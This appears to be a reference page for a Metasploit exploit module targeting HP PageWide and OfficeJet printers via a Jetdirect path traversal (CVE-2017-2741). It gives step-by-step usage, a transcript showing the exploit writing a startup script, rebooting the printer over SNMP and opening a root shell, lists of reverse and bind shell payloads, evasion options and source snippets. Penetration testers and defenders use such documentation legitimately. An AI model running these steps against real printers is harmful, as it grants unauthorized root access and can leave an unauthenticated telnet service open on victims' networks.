HP Jetdirect Path Traversal Arbitrary Code Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/misc/hp_jetdirect_path_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: HP Jetdirect Path Traversal Arbitrary Code Execution
Module: exploit/linux/misc/hp_jetdirect_path_traversal
Source code: modules/exploits/linux/misc/hp_jetdirect_path_traversal.rb
Disclosure date: 2017-04-05
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 9100
List of CVEs: CVE-2017-2741

The module exploits a path traversal via Jetdirect to gain arbitrary code execution by writing a shell script that is loaded on startup to /etc/profile.d. Then, the printer is restarted using SNMP. Impacted printers: HP PageWide Managed MFP P57750dw HP PageWide Managed P55250dw HP PageWide Pro MFP 577z HP PageWide Pro 552dw HP PageWide Pro MFP 577dw HP PageWide Pro MFP 477dw HP PageWide Pro 452dw HP PageWide Pro MFP 477dn HP PageWide Pro 452dn HP PageWide MFP 377dw HP PageWide 352dw HP OfficeJet Pro 8730 All-in-One Printer HP OfficeJet Pro 8740 All-in-One Printer HP OfficeJet Pro 8210 Printer HP OfficeJet Pro 8216 Printer HP OfficeJet Pro 8218 Printer Please read the module documentation regarding the possibility for leaving an unauthenticated telnetd service running as a side effect of this exploit.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use exploit/linux/misc/hp_jetdirect_path_traversal
msf exploit(hp_jetdirect_path_traversal) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Devices


Impacted printers have a firmware version below 1708D.

Product Name Model
HP PageWide Managed MFP P57750dw J9V82A, J9V82B, J9V82C, J9V82D
HP PageWide Managed P55250dw J6U55A, J6U55B, J6U55C, J6U55D
HP PageWide Pro MFP 577z K9Z76A, K9Z76D
HP PageWide Pro 552dw D3Q17A, D3Q17C, D3Q17D
HP PageWide Pro MFP 577dw D3Q21A, D3Q21C, D3Q21D
HP PageWide Pro MFP 477dw D3Q20A, D3Q20B, D3Q20C, D3Q20D
HP PageWide Pro 452dw D3Q16A, D3Q16B, D3Q16C, D3Q16D
HP PageWide Pro MFP 477dn D3Q19A, D3Q19D
HP PageWide Pro 452dn D3Q15A, D3Q15B, D3Q15D
HP PageWide MFP 377dw J9V80A, J9V80B
HP PageWide 352dw J6U57B
HP OfficeJet Pro 8730 All-in-One Printer D9L20A
HP OfficeJet Pro 8740 All-in-One Printer D9L21A
HP OfficeJet Pro 8210 Printer D9L63A, D9L64A
HP OfficeJet Pro 8216 Printer T0G70A
HP OfficeJet Pro 8218 Printer J3P68A

Verification Steps


  1. Start msfconsole
  2. Do: use exploit/linux/misc/hp_jetdirect_path_traversal
  3. Do: set rhost <hostname>
  4. Do: exploit
  5. You should get a shell.

Scenarios


HP OfficeJet Pro 8210 Printer

The following demonstrates the exploit against a vulnerable printer model. When the user is finished with the command shell session, they press control-c and respond yes to abort the session. This action sends the CommandShellCleanupCommand of the cmd/unix/bind_busybox_telnetd payload to the server in order to kill telnetd that was used to get the command shell.

  msf > use exploit/linux/misc/hp_jetdirect_path_traversal
  msf exploit(linux/misc/hp_jetdirect_path_traversal) > set rhost 192.168.1.107
  rhost => 192.168.1.107
  msf exploit(linux/misc/hp_jetdirect_path_traversal) > exploit

  [*] 192.168.1.107:9100 - Exploiting...
  [*] Started bind handler
  [*] 192.168.1.107:9100 - Connecting to port 9100...
  [*] 192.168.1.107:9100 - Attempting to write command stager...
  [+] 192.168.1.107:9100 - Successfully wrote command stager to 0:/../../rw/var/etc/profile.d/dLDZtDsh.sh
  [*] 192.168.1.107:161 - Connecting to SNMP port 161...
  [*] 192.168.1.107:161 - Initial value of prtGeneralReset OID 1.3.6.1.2.1.43.5.1.1.3.1 => 3
  [*] 192.168.1.107:161 - Attempting to restart printer via SNMP...
  [*] 192.168.1.107:161 - Set prtGeneralReset OID 1.3.6.1.2.1.43.5.1.1.3.1 => 4
  [*] 192.168.1.107:161 - Current value of prtGeneralReset OID 1.3.6.1.2.1.43.5.1.1.3.1 => 3
  [*] 192.168.1.107:161 - Printer restarting...
  [*] Command shell session 1 opened (192.168.1.101:38141 -> 192.168.1.107:4444) at 2017-12-31 21:09:40 -0600


  [root@HPC2A3FB ]# id
  id
  uid=0(root) gid=0(root)
  [root@HPC2A3FB ]# uname -a
  uname -a
  Linux HPC2A3FB 3.14.32 #001.1614A Wed Mar 30 16:58:30 PDT 2016 armv7l GNU/Linux
  [root@HPC2A3FB ]# ^C
  Abort session 1? [y/N]  y

  [*] 192.168.1.107 - Command shell session 1 closed.  Reason: User exit
  msf exploit(linux/misc/hp_jetdirect_path_traversal) > 

## Notes

The shell cleanup command should result in the payload automatically terminating the telnetd service as the session completes. However, intermittent behavior was observed and the source has not been identified. When closing a session please verify, via a port scan or other desired method, that the port is no longer open. If the port remains open, then the unauthenticated telnetd service is still running. Establish a connection to the unauthenticated telnetd service and manually terminate the process (pkill telnetd) to avoid leaving the host more insecure.

Go back to menu.

Msfconsole Usage


Here is how the linux/misc/hp_jetdirect_path_traversal exploit module looks in the msfconsole:

msf6 > use exploit/linux/misc/hp_jetdirect_path_traversal

[*] Using configured payload cmd/unix/bind_busybox_telnetd
msf6 exploit(linux/misc/hp_jetdirect_path_traversal) > show info

       Name: HP Jetdirect Path Traversal Arbitrary Code Execution
     Module: exploit/linux/misc/hp_jetdirect_path_traversal
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-04-05

Provided by:
  Jacob Baines
  Matthew Kienow <matthew_kienow[AT]rapid7.com>

Available targets:
  Id  Name
  --  ----
  0   Unix (In-Memory)

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  COMMUNITY  public           yes       SNMP Community String
  RETRIES    1                yes       SNMP Retries
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      9100             yes       The target port (TCP)
  SNMPPORT   161              yes       The SNMP port
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL for incoming connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TIMEOUT    1                yes       SNMP Timeout
  URIPATH                     no        The URI to use for this exploit (default is random)
  VERSION    1                yes       SNMP Version <1/2c>

Payload information:

Description:
  The module exploits a path traversal via Jetdirect to gain arbitrary 
  code execution by writing a shell script that is loaded on startup 
  to /etc/profile.d. Then, the printer is restarted using SNMP. 
  Impacted printers: HP PageWide Managed MFP P57750dw HP PageWide 
  Managed P55250dw HP PageWide Pro MFP 577z HP PageWide Pro 552dw HP 
  PageWide Pro MFP 577dw HP PageWide Pro MFP 477dw HP PageWide Pro 
  452dw HP PageWide Pro MFP 477dn HP PageWide Pro 452dn HP PageWide 
  MFP 377dw HP PageWide 352dw HP OfficeJet Pro 8730 All-in-One Printer 
  HP OfficeJet Pro 8740 All-in-One Printer HP OfficeJet Pro 8210 
  Printer HP OfficeJet Pro 8216 Printer HP OfficeJet Pro 8218 Printer 
  Please read the module documentation regarding the possibility for 
  leaving an unauthenticated telnetd service running as a side effect 
  of this exploit.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-2741
  https://support.hp.com/lt-en/document/c05462914
  http://tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution

Module Options


This is a complete list of options available in the linux/misc/hp_jetdirect_path_traversal exploit:

msf6 exploit(linux/misc/hp_jetdirect_path_traversal) > show options

Module options (exploit/linux/misc/hp_jetdirect_path_traversal):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMUNITY  public           yes       SNMP Community String
   RETRIES    1                yes       SNMP Retries
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      9100             yes       The target port (TCP)
   SNMPPORT   161              yes       The SNMP port
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TIMEOUT    1                yes       SNMP Timeout
   URIPATH                     no        The URI to use for this exploit (default is random)
   VERSION    1                yes       SNMP Version <1/2c>

Payload options (cmd/unix/bind_busybox_telnetd):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   LOGIN_CMD  /bin/sh          yes       Command telnetd will execute on connect
   LPORT      4444             yes       The listen port
   RHOST                       no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Unix (In-Memory)

Advanced Options


Here is a complete list of advanced options supported by the linux/misc/hp_jetdirect_path_traversal exploit:

msf6 exploit(linux/misc/hp_jetdirect_path_traversal) > show advanced

Module advanced options (exploit/linux/misc/hp_jetdirect_path_traversal):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CMDSTAGER::DECODER                       no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto             no        The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_invokewebrequest)
   CMDSTAGER::SSL          false            no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                          no        Writable directory for staged files
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                180              no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/bind_busybox_telnetd):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand  pkill telnetd    yes       A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/misc/hp_jetdirect_path_traversal module can exploit:

msf6 exploit(linux/misc/hp_jetdirect_path_traversal) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix (In-Memory)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/hp_jetdirect_path_traversal exploit:

msf6 exploit(linux/misc/hp_jetdirect_path_traversal) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_inetd                                  normal  No     Unix Command Shell, Bind TCP (inetd)
   3   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   4   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   5   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   6   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   7   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   8   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   9   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   10  payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   11  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   12  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   13  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   14  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   20  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   21  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   22  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   23  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   24  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   25  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   26  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   27  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   28  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   29  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   30  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   31  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   32  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   33  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   34  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   35  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   36  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   37  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   38  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   39  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   40  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   41  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   42  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)

Evasion Options


Here is the full list of possible evasion options supported by the linux/misc/hp_jetdirect_path_traversal exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/misc/hp_jetdirect_path_traversal) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to write command stager to <RPATH>


Here is a relevant code snippet related to the "Failed to write command stager to <RPATH>" error message:

96:	      print_status("Attempting to write command stager...")
97:	      rpath = "#{rpath}#{stager_script_name}"
98:	      if pjl.fsdownload(cmd, rpath, is_file: false)
99:	        print_good("Successfully wrote command stager to #{rpath}")
100:	      else
101:	        print_error("Failed to write command stager to #{rpath}")
102:	        return
103:	      end
104:	
105:	      # verify command stager exists
106:	      unless pjl.fsquery(rpath)

Command stager does not exist at <RPATH>; aborting...


Here is a relevant code snippet related to the "Command stager does not exist at <RPATH>; aborting..." error message:

102:	        return
103:	      end
104:	
105:	      # verify command stager exists
106:	      unless pjl.fsquery(rpath)
107:	        print_error("Command stager does not exist at #{rpath}; aborting...")
108:	        return
109:	      end
110:	
111:	      pjl.end_job
112:	

Connection Refused


Here is a relevant code snippet related to the "Connection Refused" error message:

109:	      end
110:	
111:	      pjl.end_job
112:	
113:	    rescue Rex::ConnectionError
114:	      print_error("Connection Refused")
115:	      raise
116:	    end
117:	  end
118:	
119:	  def restart_printer

Unable to set prtGeneralReset; SNMP response error status: <RESPONSE.ERROR_STATUS>


Here is a relevant code snippet related to the "Unable to set prtGeneralReset; SNMP response error status: <RESPONSE.ERROR_STATUS>" error message:

149:	        reset_value = "''" if reset_value.is_a?(SNMP::Null)
150:	        print_status("Current value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")
151:	        print_status("Printer restarting...")
152:	
153:	      else
154:	        print_error("Unable to set prtGeneralReset; SNMP response error status: #{response.error_status}")
155:	      end
156:	
157:	    rescue SNMP::RequestTimeout
158:	      print_error("SNMP request timeout with community '#{community}'")
159:	      raise

SNMP request timeout with community '<COMMUNITY>'


Here is a relevant code snippet related to the "SNMP request timeout with community '<COMMUNITY>'" error message:

153:	      else
154:	        print_error("Unable to set prtGeneralReset; SNMP response error status: #{response.error_status}")
155:	      end
156:	
157:	    rescue SNMP::RequestTimeout
158:	      print_error("SNMP request timeout with community '#{community}'")
159:	      raise
160:	    rescue SNMP::UnsupportedVersion
161:	      print_error("Unsupported SNMP version specified; use '1' or '2c'")
162:	      raise
163:	    rescue Rex::ConnectionError

Unsupported SNMP version specified; use '1' or '2c'


Here is a relevant code snippet related to the "Unsupported SNMP version specified; use '1' or '2c'" error message:

156:	
157:	    rescue SNMP::RequestTimeout
158:	      print_error("SNMP request timeout with community '#{community}'")
159:	      raise
160:	    rescue SNMP::UnsupportedVersion
161:	      print_error("Unsupported SNMP version specified; use '1' or '2c'")
162:	      raise
163:	    rescue Rex::ConnectionError
164:	      print_error("Connection Refused")
165:	      raise
166:	    ensure

Connection Refused


Here is a relevant code snippet related to the "Connection Refused" error message:

159:	      raise
160:	    rescue SNMP::UnsupportedVersion
161:	      print_error("Unsupported SNMP version specified; use '1' or '2c'")
162:	      raise
163:	    rescue Rex::ConnectionError
164:	      print_error("Connection Refused")
165:	      raise
166:	    ensure
167:	      # restore original rport value
168:	      datastore['RPORT'] = pjl_port
169:	    end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Jacob Baines
  • Matthew Kienow <matthew_kienow[AT]rapid7.com>

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.